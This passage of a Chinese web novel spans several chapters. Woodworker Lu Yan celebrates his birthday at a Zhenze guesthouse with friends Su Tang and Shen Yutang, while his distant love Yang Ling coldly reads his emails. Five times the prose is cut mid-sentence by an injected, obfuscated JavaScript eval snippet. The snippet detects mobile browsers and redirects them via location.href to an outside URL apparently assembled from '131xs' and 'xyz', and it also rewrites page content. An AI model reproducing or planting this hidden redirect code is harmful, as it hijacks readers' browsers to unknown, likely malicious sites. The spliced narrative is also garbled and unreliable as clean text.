眼前这十三件木雕,最长的不过小臂长,最小的仅如拳头大,却足足花了他们项目三分之一的成本。 来看看都有什么: 一件‘蚕眠桑叶’,雕工细腻,蚕身圆润似真;一件‘茧灯初上’,将茧形与灯笼巧妙结合,就是不送灯泡。 他个人最喜欢的是‘缂丝女工’,低头理线、姿势沉静如画,像沈语棠...... 啧啧,披着文化外衣的生意,利润果然不俗。 验收完毕后,老板娘亲自将面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350900|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条端上桌。 陆砚拌着面,随口提议: “老板娘,你要不要装个招牌?不然连地图上都搜不到。这个算我的。” 沈秀娥抬手用袖口擦了擦鬓角,笑得眼弯眉舒,谢意表达得热络又自然,转身进厨房的脚步都轻快了几分—— 没一会儿又特地端出几样浇头,一一添进大家碗里。 曾经讨厌的市侩性格如今竟觉得比普普通通的道谢更有温度,这也算是民宿一道特色了。 唯有身边的沈语棠苦着脸,捧着小小一碗面条努力吃光例定份额,眉眼间有倦意,似乎这早餐是最讨厌的学科老师讲课。 “语棠,吃不下就给张哥或者小军,一会儿我带你去镇上吃点心。” 刹那间,下课铃敲响—— 她眼睛倏地亮起来,后又不好意思地压低声音: “不用了。” 短短三个字,根本言不尽意。 至少陆砚第一反应是,‘不用带她出去’。 却见她端起碗就往厨房走,再回来时两手空空——原来是不用别人替她吃,但点心,还是要的。 这里不得不感叹人和人的区别: 若是苏棠在这,估计会毫不犹豫麻烦别人,仗着自己年纪小作威作福,颇有上海女人恃宠而骄的特点。 而其他女性朋友......拿不准情况。 毕竟她们不会像小孩子一样有‘吃饭任务’,也不会为完不成任务而苦恼。 ...... 这是一个能哈出的白气的早餐,亦是一个老戏台飞檐下还挂着串圣诞彩灯的地方。 沈语棠指路,带陆砚在中西味儿十足的震泽镇逛了一圈,禹迹桥、文昌阁,还抽空去师俭堂里面转了转,一路上聊了不少她的回忆,这才拐进巷尾的‘震泽老味’点心铺。 噼啪声裹着糖炒栗子香味扑脸,刚蒸好的麦芽塌饼饼皮薄得、能透过去看见里面的豆沙馅。 “语棠,这个是不是比较适合当茶点?” 她歪着头想了想,似乎还没从刚才的谈话中回过神: “嗯......是的,陆哥。” 此时陆砚想的是,等苏棠来了,正好可以再围炉煮茶。 点心多拿了些,回去路上顺便买了个密码锁,密码可以自己设置,一会帮老板娘装上。 第八十一章 真面目 有人一开始是矜持的、连手机上贸然发条消息都要在心里磨好久、而且还会配可爱表情包营造气氛。 如今还是那个人,仿佛一下从清纯女大进化到中年大妈,早上起来第一秒就开始夺命三连催—— 再睡五分钟:我已起床,状态良好,接头人收到请回复。 再睡五分钟:在做甚么,我牙都刷完了,你不会还没起吧!(怒火.jpg) 再睡五分钟:喂,你这样冷漠真的很让人心寒,睡了一夜,你就这样对我?(哭泣.jpg) 事实上,三条消息连续发出,共计不到二十秒。 陆砚甚至怀疑她所说的‘刷完牙’都是夸张的说法,毕竟看名字,对方赖床几率很大。 而且不是下午两点才到站吗,那边才上午,催什么?能把动车催来? 墨斗先生:你的文字水准就是侥幸上岸了也当不了笔杆子。 墨斗先生:什么叫‘睡了一夜,我就这样对你’,别占我便宜,考公人严谨的作风要提前养成! 再睡五分钟:(美女投降.jpg) 再睡五分钟:真的服了,姐的美照,现在扯平了吧! 呵。 陆砚将图片保存在‘搞笑’类收藏夹后,继续查看锁的安装手册。 以现在的科技水平,电子锁早已不是刚出现那样贵了,一百来块、自己安装十分便捷。 打孔、对齐边板、拧螺丝,调试和设密码花了点功夫——明天是个好日子,就用‘1227’吧。 一晃眼吃完午饭,该去火车站了。 不然以某个无聊网友的消息频率,他想安静会都难——动车上的充电口,应该禁止苏棠这种浪费电量的乘客使用! 车盖薄薄的冰刚被发动机震落,冯小军跟出来: “陆哥,去接小苏啊?” “是的,一块去吗?” “小军的意思是,别忘了买插座的防尘盖......这不后天要验收了吗。” “好。” 车子扬长而去,冯小军不解看向张野,等待解释。 而后者给了他一个不能拒绝的理由: “小军啊,男人需要助攻的时候,要尽量配合,这是做兄弟该有的默契。” ...... 火车站人流稀疏,可以看见相当比例的外国人穿行此处。 几盏照明灯打在空荡的出站口,处仅有的一排闸机前,女孩像明星出场般先发来预告通知: 再睡五分钟:我要出站啦! 再睡五分钟:鲜花掌声准备好,美女我自己出! 陆砚倚靠栏杆,心情比想象中的要好。 没多久就看到苏棠背吉他、拖一个略显笨重的行李箱走出来,宽松奶油色毛衣,外搭牛仔背带裤,头发讨喜地扎成丸子头—— 看上去像打算在这住上一个多星期,跟他们一块回上海。 现实中的接见,没有外国人或者商务人士那样热情相拥,甚至连握手都感觉不合适。 “这次不像林黛玉,该喊你什么?” “嘿嘿,帮忙喊个汉堡,我要喝冰可乐。” 好在她一笑,网络和现实的次元壁就被打破,陆砚也跟着笑。 附近有家肯德基,苏棠死犟要去远一点的麦当劳,这种坚持就如同网上关于‘可口可乐和百事可乐’的特殊偏爱,他完全不能理解,但尊重。 两人并肩走,吉他包碰到陆砚手臂时,她说: “我背了家伙,咱们晚上solo一下!” 那是一只深蓝色的硬壳吉他包,边缘有些磨损。 陆砚觉得似乎在哪见过,转念一想,大概吉他包都长差不多。 “你职业的打业余的,好意思吗?” “所以我让了你六岁啊。” “...” 男人心一梗,被噎得呼吸困难。 刚还想帮忙拧行李箱的...... 如今他老胳膊老腿怕是帮不上忙咯! 行人不多,两人走得很慢——地砖像打了蜡似的,格外滑溜。 “昨天忘了问,什么情况?你前男友在,需要你陆哥撑场面?” 等等,这种剧本自己为什么会脱口而出...... 难道真有天赋? “不是啦......太受欢迎了没办法,昨天有个男生想表白,我有所察觉后提前打断了施法......怎么样,我是不是人很好~” 这样也能捞到好人头衔吗。 “你会不会自作多情了,人还没表白呢。” “自作多情也无所谓啊,”苏棠摇头晃脑,“我只是一个不忍伤害对方的善良女人,难道不该被夸吗,哥哥。” 她把背包和行李箱往前一推,甜甜笑着,眼睛仿佛在说‘给你个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16354526|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谄媚献殷勤的机会’。 好家伙,人家绿茶喊哥哥是千娇百转的,而你,我的朋友,你是真像我异父异母的妹妹。 简单垫了垫,两人准备在镇上转转。 早上沈语棠带他逛的地方又走了一遍,这次就有经验多了——当然是哥哥结账。 ...... 昨天没失眠,于是今天杨灵醒得很早。 照例查看邮箱,照例点进那个人发来的邮件——一张夜色下的半张脸,身上戴着红色围巾。 他说,‘你回信的时候苏州正好下了头场雪,我觉得它是奔你来的,可惜你不在’。 这封是几天以来最短的一封,内容也是相对而言最平淡的。 算了算时间,那边已是晚上,再几个小时就要二十七号了。 “呃——” 一声轻微的哼吟,顾南乔似乎快要醒了。 长发凌乱铺了半张脸,蜷在被子深处,只露出泛红的鼻尖。 昨夜她有些咳嗽,睡得极不安稳。 伸手探了探——果然有点发热。 杨灵放下平板,轻手轻脚下床,先去冲了杯蜂蜜水,再找体温计。 厨房抽屉一个个拉开,正低头翻找,便听见卧室传来含糊的一声: “灵灵......” “嗯,我在。” 应了一声走回去,顾南乔半睁着眼望过来,声音黏糊糊的: “陪着我嘛......” “你先别动,我帮你量个体温。” 轻轻撩开顾南乔额前的乱发,将体温计探头贴上去。 等待读数的间隙里,睡觉极不安分的人忽然低声说: “你真好......我的生活不能失去你。” 杨灵则搂了搂她的肩,用行动表示和好。 体温37.8,应该是昨天在外面吹了风,轻微休息下就行。 掀开被子一角、她再度躺回旁边时,忽然想起什么: 不管怎样,出于礼貌,像陌生人那样表示祝贺还是应该的。 解锁平板点开邮箱,准备卡在零点发一封定时邮件...... 正要打字,突然弹出一条新邮件提醒—— 陆砚,附件是段视频。 杨灵微怔。 那边该是晚上......发视频,想说什么? 犹豫片刻,还是当着顾南乔的面,点开播放键。 第八十二章 叫我思念到如今 “至于这样动肝火吗?” “不死不休!” “我觉得事情不该往这种剧情发展啊——” 苏棠花大价钱带的点心和陆砚买重合了,而在这之前,陆砚把她寄来的包裹当着众人打开...... 原以为是红苹果,没想到开箱倒是挺红的—— 用玫瑰花瓣铺了一层,上面是手写卡片和一个树懒玩偶挂件,苹果倒显得多余。 苏棠从厕所回来发现这一幕,尤其是冯小军在旁边喊‘浪漫哦’的时候,她当场就炸了。 此时看似因为点心买重,实则借题发挥罢了。 “上次走的时候就说了会给带点心过来,你为什么还要买呢?还正好是今天刚买的!” “俺瞅着这话不孬!” “是啊是啊,**学生说的有道理。” 自发受邀的群众搬板凳做好、觉得正巧,饭后一口瓜,健康你我他。 大厅吊着五只桑皮灯笼,周围细细的灯带在浓烈杀气和**胀红脸颊威压下开始忽明忽暗(夸张版),南浦浜村的大黄大白小灰小黑此时都不敢贸然做声,夜,静悄悄围坐一旁,像随时清理现场的仵作,即将和苏棠联手展开这次欲盖弥彰的决斗。 老板娘在灶房刷碗,点点滴滴水声铺陈下,沈语棠好奇过来打量。 千钧一发之际,陆砚决定先下手为强,一步近身、手挡嘴边,意图用悄悄话这种暗含内劲的方式拼杀—— 正在气头上的女大学生瞪了一眼,不情不愿侧耳。 “小声点,那是语棠早上特意为你选的,说‘煮茶的时候招待苏棠姐姐’。” 闻言,她顺着视线看过去,见沈语棠懵懵懂懂站在那,心里已经信了九分。 如果是小妹妹的心意那也说得过去......就是再怎么着,也不能伤害陆砚以外的人啊...... 正要缓一缓语气找个由头下台阶的时候,男人严肃而神秘道: “忘了说.....你不会只准备了这么点吧?明天语棠也过生日......” “...” 请问,什么事物可以由白转红、又变黑呢? 是苏棠的脸。 从艺八年的木作老师傅、眼力见自是不用说,一个后撤步脱离了对方的偷袭暗手,抻抻衣摆,朗声道: “豺狼来了有**,朋友来了有美酒,小军哥!上酒!” “行刑酒吗?来嘞,客官!” “下一趴!下一趴!” 一瞬间,马儿在草场撒欢、鸟儿在树梢欢唱,红花、紫花‘砰’地冒出来,桑皮灯笼化为明灿灿的春日太阳,将几人照亮。 苏棠此时发作也不好,装作无事发生又咽不下去,只得又气又笑隔空做口型—— 陆、砚、你、等、着。 嘿嘿,欺负一个蔫包,有点意思。 ...... “轻轻的一个吻/已经打动我的心/深深的一段情/教我思念到如今。” ——‘叫我、思念到如今。(伴唱)’ 平板画面里,男**吉他,苏棠穿插伴唱,几人围坐身旁,他闭眼仿佛面对另一个世界。 看似深情的一幕,杨灵听到,却蓦地冷下来。 歌词中,‘轻轻的一个吻’像从心上猛地拔出一根满是倒勾的箭矢,痛苦汩汩而出。 “你问我爱你有多深/我爱你有几分/你去想一想/你去看一看/月亮代表我的心。” ——‘爱你有多深,月亮代表我的心’ 想了想,又看了看......顾南乔隔着凌乱的头发眨眼。 杨灵把被子往下压,帮她把肩膀处的缝隙按实。 ...... 小酌一点之后,两人在一起改切磋吉他,苏棠毫不留情的指弹炫技,像参加了一场‘弹得越快对手越自卑’的比赛。 可陆砚却看笑了。 这和古早偶像剧里,‘雨天、两男以斗舞决生死’的剧情有什么区别——就是女主在旁疯狂劝架‘你们不要打啦’的那种。 一曲作罢,对面吉他手目光尖锐扫过来,陆砚面上一肃,直呼‘先生教我’,拱手认输。 张野喝完一杯再续一杯,忙催促道: “接着奏乐啊,接着舞!” “哼,我给张哥一个面子。” 经此台阶后,蔫巴巴她才把之前的事翻篇,想笑又好面子绷着脸。 陆砚招手,两人稍微坐近了些。 酒液倒入杯中,冯小军望向张野,目光闪着恍然的光——这时才理解,‘男人需要助攻的时候,要尽量配 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366853|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合’的含金量。 师徒两人无声之间完成一次教学: ——‘张师傅大才!’ ——‘承爱!’ 此时悠扬的和弦再次响起,陆砚弹唱、苏棠伴唱。 “滴呖啦——” 确认谱子已熟悉,陆砚将手机递给身旁的沈语棠,请她帮忙录一段视频。 “轻轻的一个吻/已经打动我的心/深深的一段情/教我思念到如今。” 越来越爱听老歌,是因为从前的歌词总那么凝练,那么耐听。 音符是开启过去大门的钥匙,心神已然飘忽到遥远的从前。 他回顾了两人所有能回顾的片段,那居然只是短暂一个月的恋情。 这情有多深,才会叫他如此痛苦、如此难忘,又如此幸福。 能传达到吗? 要是能传达过去就好了。 男人平稳的声音开始颤抖、走调。 为什么,明明那样喜欢,那样深刻,却可以短短几个字就道尽了呢。 发涩的眼眶渐渐闭上,指尖和弦放缓、再放缓,他几乎一字一字的哼唱出来: “你问我爱你有多深/我爱你有几分/你去想一想/你去看一看/月亮代表我的心。” 月亮自古以来,不就一直替人传达着心意吗? 这一次,也请帮帮我吧...... 众人听完,和声小姐姐不忿说着: “唱就唱嘛,录像几个意思,需要我把你挂网上火一把吗?” 如果一人代表一种风格,那苏棠这边肯定是轻松愉悦的。 这时才知众人道,刚刚给陆砚伴唱的人竟然是个小网红——三千粉丝。 这不多,主要是因为小丫头懒,没剪辑、没更新,全靠酒馆熟人或街边路人随机传播。 “哎,小小年纪两面三刀,上午尽挑着好话讲,天黑了就要把我挂网上。” 当然不怕‘挂网上’,她口嗨起来向来没行动力量。 苏棠立住威风后,立马开始收保护费: “那你还不老实点,这样吧......我点首歌你唱~” 人家刚来第一天自然要宠着,陆砚答应下来,渐渐玩得不亦乐乎...... 这次沈语棠坐在稍远的位置,默默喝着张野替她倒的桑葚酒。 第八十三章 妹妹 总之,苏棠走了进来。 浅灰色的绒质睡衣裹在身上,发梢松散挽在肩头,比方才楼下扎丸子头歌唱的形象柔了些,沐浴过的气息随之占据房间。 小姑娘连睡衣都带了,真齐全呐。 她是来送刚才拆开、后又被紧急收走、里面铺满玫瑰花瓣的‘苹果盒’。 再度打开盒子,陆砚凑近发问:“树懒挂件?这有什么说法?” 自己送她兔子,是因为那只盖被子的兔子像她,自己像树懒吗? 苏棠别过头,语气轻描淡写: “路上随手买的呗,我怎么可能花太多心思给区区陆砚挑礼物呀~” 说着往后一躺,成大字横躺上去,一侧光洁的小腹疑似乍现。 好吧,站累了就躺着,这孩子确实不像勤快挑礼物的人。 就像每晚打视频电话那样,之后两人有一搭没一搭的聊着。 见她赖床上没有离开的意思,陆砚有点急了—— ‘望梅止渴’的意思是,凡尝过梅子的人,再见到梅子时都会不自觉分泌唾液。 这是基于本能层面的反应,无关文化、涵养、道德、地域。 此时也一样。 陆砚脑子里那些想入非非的念头和不受控滑坡的自制力,是基于本能层面的反应,无关文化、涵养、道德、地域。 “小时候听我妈妈说,睡觉可以美容,我才一直睡觉的。” “不美容你也会一直睡觉的。” “你应该说‘你这么漂亮完全不用焦虑’,然后我会告诉你‘美貌都是因为爱睡觉的原因’......自己接梗真没意思呐。” 唉,现在确实不在状态,毕竟功力都用在压制上面了...... 过来人都知道,年轻男人在醒着的十几个小时里,或多或少会花时间想一些不能描述的事情。 就拿冯小军举例,他吵着要单间,未尝不是夜深人静需要隐蔽——憋了三天已是极限。 而现在某些地方的状况,简直到了“上早读、被最怕的老师点名也打死不站起来”的程度。 陆砚咽下口水,试图转移注意。 至于为什么不赶她走...... 即使是柳下惠不也抱着人睡了一晚上?前人不曾赶人,他又何必更进一步...... 女孩傻乎乎看天花板说: “陆砚,你这里的床好像比我那边软一点。” 他又瞥见腰缝间的白,不自然接话: “时候不早了,困了你就去睡......床再软,总不至于睡我这吧......” “你在开什么玩笑!”她愤怒拍了下被子,铁骨铮铮说:“就是再熟也不能让你睡我床啊,人家清白之身......传出去名声还要不要啦!” “嚯!你清白,我就不要清白啦?独你能躺我这,不能我躺你那?” 话绕着说,注意力转得快。 同时心里松了口气,还好对方明确表示了嫌弃......两人始终不存在越界的情谊。 “被子盖一下。” 陆砚扔过枕头给她遮住,不料准度略差,向上偏了点。 仿佛砸中了某个羞耻开关,她‘腾’地抱紧枕头起身,凌乱发丝糊了半张脸。 原以为将要来一场枕头大战,不想她‘哼’了一声,说‘算你小子运气好,我现在累了’,便又抱着枕头躺下去。 “...” 所以你累了就不会生气、旁人就可以为所欲为了? 不是他猥琐下流,这是‘望梅止渴’情境下、逻辑推导的本能反应! “这什么神操作,累了不回自己房间,也不让我去你那儿,还占着我的床......我也很累啊。” 都快十二点了,他可是七点起床的自律男青年啊。 那个唱歌总不会累的嗓音却无精打采道: “你将就一下嘛,那边不是还一个枕头吗......” 翻了个身,给腾出片位置。 此时她横躺着,拖鞋早已踢掉,双脚悬空微微晃荡。 而陆砚选择分神、转移那小片集中血液的方式是,用八年专业木作师傅尺一样的目光盯着这幅画面—— 以床宽为参照,苏棠身长大概在一百六十五公分,前后误差不超过三厘米。 好,看完横向再看看纵向。 纵向最具有研究价值的点在于最高海拔,而最高海拔......上面覆了层云,呸,是枕头。 “你在看什么?” ‘你在看什么’本质上是个十分好回答的问题,甚至,是个十分好唬弄的问题。 可对方拖长尾音,加了质疑、鄙视和强烈戒备的口吻,那问题就不能只看字面了。 “......我在根据床垫下陷结合人体密度,计算你的体重。” “......哥哥,你也躺着吧,我总觉得有下流的目光在盯着我。” 躺你旁边? 你确定这是个安全的解法? 陆砚恭敬不如从命,距一个半手掌的距离躺一边,身体压上床铺时,说: “没事,我会保护你的。” 刚躺稳, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366854|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她就侧过头来。 那张怎么看都觉得可爱的脸浮现似笑非笑的表情,眼眸中流转着一抹属于女人的风情,无声无息,点燃空气。 时间开始缓慢,感官更加灵敏: 可以看清下颌蕴含的轻盈与矜持,饱满唇瓣的弧度与色泽; 鼻尖萦绕的淡淡麝香愈发鲜明、香气贴上肌肤,仿佛每一口呼吸都在啜饮花蜜; 心跳怦然,唾液渐生——一切都是‘望梅止渴’的造物。 他突然发觉两人手掌离得很近,大概只要脑神经微微发出指令,神经递质将会在神经纤维上以每秒120米的速度通过中枢、传到手臂,轻轻动下手指,就可触碰到对方。 “叮叮叮——” 闹铃声毫不输熟睡时乍响的威力,几乎迷失在对方眼神中的陆猛然惊醒。 “你的闹钟......” “哥哥,十一点五十九了哦,马上生日,我来帮你倒计时。” 依然是躺着的视角看她,苏棠眼底漾着清睡涟漪般的笑意,纯粹得动人,一如初恋。 “咳咳,那你计时吧......我也掐着点跟语棠发个祝福。” 那泓清水被搅浑了,苏棠开始假笑: “......陆砚,新的一岁,有什么遗愿?” “如果临终之前、能知道你衣服里藏得是什么,便无憾了。” 这不是耍流氓,他要看的是衣服口袋里的内容! 那么纯洁一小姑娘自然没想歪,甚至宽松显露线条的睡衣下,她就没想着藏住。 “6、5、4......” 她从床上爬起来,正对而坐,手放进睡衣口袋。 “3、2、1......哥哥,生日快乐!” 说罢,从里面拿出一个棕色的皮包—— 不像传统钱包那样方正,也并非长条形,而是一款手机大小、四周做了圆角处理的精致小包。 陆砚不确定她是不是选成女士款了,但知道上面‘VERSACE’的标志。 “有了挂件不送个包总感觉不完整,嘿嘿。” “谢谢......但这你来说是不是负担太重了。” 脑海闪过她在街边、酒吧没日没夜唱歌的画面,忽然觉得这份礼物沉甸甸的,格外温暖。 苏棠拿出手机准备自拍,嘴上嫌弃道:“别想多哦,是假货,假的啦。” 边说边挪近,两人终于出现在同一个镜头中。 “哥哥,笑起来更帅......要不要再靠近些呢。” “要的。” 第八十四章 你不知道的事 二十七号早晨,陆砚算了算时间,杨灵那边还是二十六号。 真奇妙,那些跨国恋也挺辛苦的。 他还是老样子,带着回信的期待、开始写邮件。 写着写着,不禁想起刚恋爱那会儿,杨灵第一件事就是拍下他的身份证,开玩笑说‘要是敢当渣男,我就去你老家告状’——顺便也记下他的生日。 生日啊...... 杨灵是在九月份。 世界不会因为某个人而开启特殊对待,恰如无数学子期待的假期——睡觉的床还是那张,家里窗户漏进来的光、还是那个角度。 所谓特殊,终究要靠人自己去创造。 此时有条短信弹出,一个包裹查收信息。 大概是顾南乔送的。 俗话说的好,交换苹果,到头来每人仍只有一个苹果;但若交换一份快乐,快乐却会成倍增长。 发送完邮件后,陆砚精神百倍起了床,决定将快乐传递一下。 先给家里打了个电话。 他的父母并不擅长表达,更不会像苏棠那样主动说一句‘生日快乐’。 可沉默,就意味着他们不如别人吗? 总有人抱怨上一代古板、家庭氛围沉闷。 这里陆砚不想说理,年龄到了自然懂。 退掉老妈的一千元转账后,他点开了群聊: 【酒文化研究所上海总部(5)】 墨斗先生:为弘扬早起勤劳之精神,本人决定在这个平平无奇的日子出资二百,奖励手速最快的朋友。 陈禹:直接v我就好。 现实的竞争就是这么残酷,陆砚甚至连红包都还没发,就有人张嘴嗷嗷待哺了。 奖励‘勤劳’是没错,可一个‘勤劳’出轨的人,不稍微坑他下,以后都怕被人误会为一丘之貉! 墨斗先生:(恭喜发财,大吉大利) 陈禹:谢谢老板,一会请员工喝咖啡的时候,叫她们录个祝福视频给你。 好家伙,避重就轻真是有一套,你确定你们只是普通的工作关系? 墨斗先生:谢太早了。快乐得分享,这是红包接龙,手气王发下一个。 陈禹:这不就一个包吗,神特么手气王! 再睡五分钟:有舍有得,老板发财。 看到这儿,陆砚不禁一笑,起身打算去三楼敲苏棠的门。 就像偶尔迎来一段闲适的时光,总会特别想跟朋友待在一起,哪怕什么都不做,也很好。 “咔嗒!” “......语棠?” 今时不同往日,不用再去师俭堂学艺的小姑娘,穿搭也开始现代起来: 一身浅杏色的棉质家居服,长发松松挽起扎根红绳,眉眼清淡似晨间小花。 “早上好,陆哥。” 额...... 这种礼貌跟大洋彼岸的某位女子好生相似,是巧合吗? “生日快乐呀二十岁的小姑娘,”陆砚用最真诚的笑容传递早上接收的快乐,“昨天怕你睡着了就只在手机上发了消息。” “谢谢......” 这时,他才看见对方抱着衣篓,不由升起大胆的猜测—— “是......帮我换被套吗?” “嗯。” 沈语棠轻轻点头,白皙的脸颊微微泛红,耳尖染上一抹绯色。 ...... 地球另一端的二十七日清晨,这边才刚到的二十六号晚上。 谁也没提起那个远在异国的男人,两人窝在客厅浅灰色沙发,顾南乔半跪在杨灵身后,指尖、手掌娴熟地揉按着。 嫩葱似的手抹在玉脂般的肩颈,按摩的人是如此专注甚至虔诚,仿佛米开朗基罗最忠实的拥趸、有幸参与修补其最满意的作品。 “灵灵,我有时候就是太优柔寡断了,这毛病得改......以后我要是再犹豫不决,你就帮着提醒我,好不好?” “好。” 不一会儿,顾南乔轻声叹了口气,她对陆砚的反感似乎又攀上新高,语气里带了一种‘真是让我开了眼’的感慨: “那个视频我还是忘不掉......简直彻头彻尾的渣男!你注意到他旁边那个小姑娘看他的眼神了吗?还有苏棠——她们的眼神都不对劲,绝对有问题......我以我职业生涯担保。” 杨灵点点头,往顾南乔身上靠了靠,半躺在她怀里。 然后拿起平板,以一个两人都能看见屏幕的角度当场回邮件—— 这是工作邮箱,没事别往这儿发。 ...... 总之,陆砚进来了。 苏棠一开完门就迅速钻回床上,整个人严严实实裹进被里,只露出一双小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366855|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手乖巧地揪着被沿,半张脸埋在其中,声音闷闷地传出来: “太没礼貌了吧,哪有人一大清早就敲女孩子房门的?” 论礼貌的话,大半夜敲男生的房门才更过分吧! 至少现在阳光明晃晃地照进来,光天化日之下,邪祟心思会少很多好吧! 因此陆砚不避嫌,坐床边搞怪: “啊?你是苏棠?啧啧,不化妆怎么跟平时不一样啊!” “嗬嗬,太假了,我平时也不化妆好吧。” 这话倒是真的,可跟平时不一样也是真的。 这倒是实话。 可她看起来确实不太一样——头发柔软蓬松,眉眼温顺垂下,整个人显得乖巧亲近,简直比昨晚年轻了十岁。 “不是吧苏女士,你也太松弛了吧,好歹房间有个人,你就这样打算接着睡?” “哦对了,手机给你,要是群里发红包你就帮我抢一下。” “...” 陈禹确实刚发了个红包,可能对方也没想到,还有抢钱都不积极的...... “......假如现在地震了,你会试着逃跑吗?” 这种吐槽自然没必要正面回应,苏棠睁开一只眼睛,仿佛这样就能省下一半力气,慵慢地说: “懒得动......哥哥你帮我去楼下带份早餐,出去时门虚掩着就行,我不想再起来开门了。” 行,看在这声哥哥的份上,他决定今天妥协一次。 “啧啧,果然还是怕比较,另一个小姑娘都帮我把被子收好了,你连眼睛都不愿意抬下......” 被子里的腿往陆砚腰侧轻轻碰了下,她用‘太阳会不会突然消失’的侥幸口吻问: “你......给她准备礼物了吗?” 女孩子之间那种微妙的场面维系,多少会懂一点。 对她们来说,或许当场尴尬比什么都难受。 陆砚:“必须的,我多么仗义了。” 苏棠嘟囔着嘴,此刻带困的状态妙极了,即使受到影射也不会扎呼呼的: “你先别送,带我去镇上现买一份,我们一起。” 简直像极了下课非得结伴去洗手间的女同学们。 “现在连送礼物都要组队了?” 在对方隔着被子一通国足腿法的威慑下,陆砚只好答应。 第八十五章 当然要开心 ‘这是工作邮箱,没事别往这儿发’。 放下手机,男人耸耸肩,往车上走。 暮色沉沉,外部加装灯带的民宿如景点般庄严,亮黄细光勾勒的轮廓和黑夜泾渭分明...... 不过些许遗憾罢了。 天下英雄如过江之鲫,人中龙凤尚且举步维艰,我等鱼目岂能奢望一生顺遂。 陆砚觉得,每增长一岁就该升级,当有所进步。 要淡然面对日常、把生活有条不紊过下去才算成熟。 如果可以,从今天开始,做个更加理性的人。 群里阿乐发了个红包,陈禹又是手气王,气急败坏嚷着要聘律师去起诉运营商。 诶,律师怎么隐身一整天了? 这时老陆打来电话,第一句便是标准的中式开场白: “吃了吗?” “马上吃,准备出去和朋友喝点。” 那边口吻还留着‘好久没联系的’干涩感: “哦、好,今天好好玩,一晃都快三十了......” 要是二十五岁以内,四舍五入能算二十;二十五出头,勉强算个二十五。 可一旦过了二十七,人们就突然较真起来,再也不愿四舍五入。 陆砚皱眉,耐心叙事: “是啊,年纪压不住的上来了......不过你别催我,先把今晚过完再说。” 很遗憾,多数家庭关系并不如童话般传统而美好,陆砚这边,只有先把最不愿意讨论的事情封死,父子才能多聊会。 “好,不催......你也大了,要把自己的事安排好。” “......对。” 择菜的时候,老根和坏叶都得掐掉。 试问,父子之间干巴巴的对话,又该如何裁剪,才能留下所谓精彩的部分? 剔除技巧加工之后,真实的关系往往更枯燥、更无奈,人们却天生被捆绑在一起,无处可逃。 老陆说得对,快三十的人了,得学会和无聊共处,得做正确的事。 大二的时候可以什么都不知情下、跟着杨老头干一年,工资不带问的; 二十一岁时,就算看不清未来,也敢毫不犹豫和林晚声谈一场恋爱。 可后来,就连遇到杨灵这样的女人,都会理性斟酌再三、内心推诿多次。 以后还有多少尝试的从容、如今还可以冲动吗? “是该慢慢定下来了。” 说完这句,老陆久久没有做声。 多希望此刻有阵风灌进话筒,来掩饰两人年复一年、愈发沉默的事实。 “......跟你妈联系没?” 明明早上她才转了账...... 陆砚察觉,家里的两位,交流恐怕比想象中还要少。 于是他提了口气,试图让气氛轻松些: “联系了......之前我跟陈禹打赌,我三十岁之前表姐结不了婚,这次什么情况?确定能结啦?” “嗬......能结。”他的笑声还是那样,像急刹车般短促有力。 “这么有信心?” 陆砚半真半演地诧异。 要知道,已经前前后后折腾三四回了,凭什么这次可以笃定? 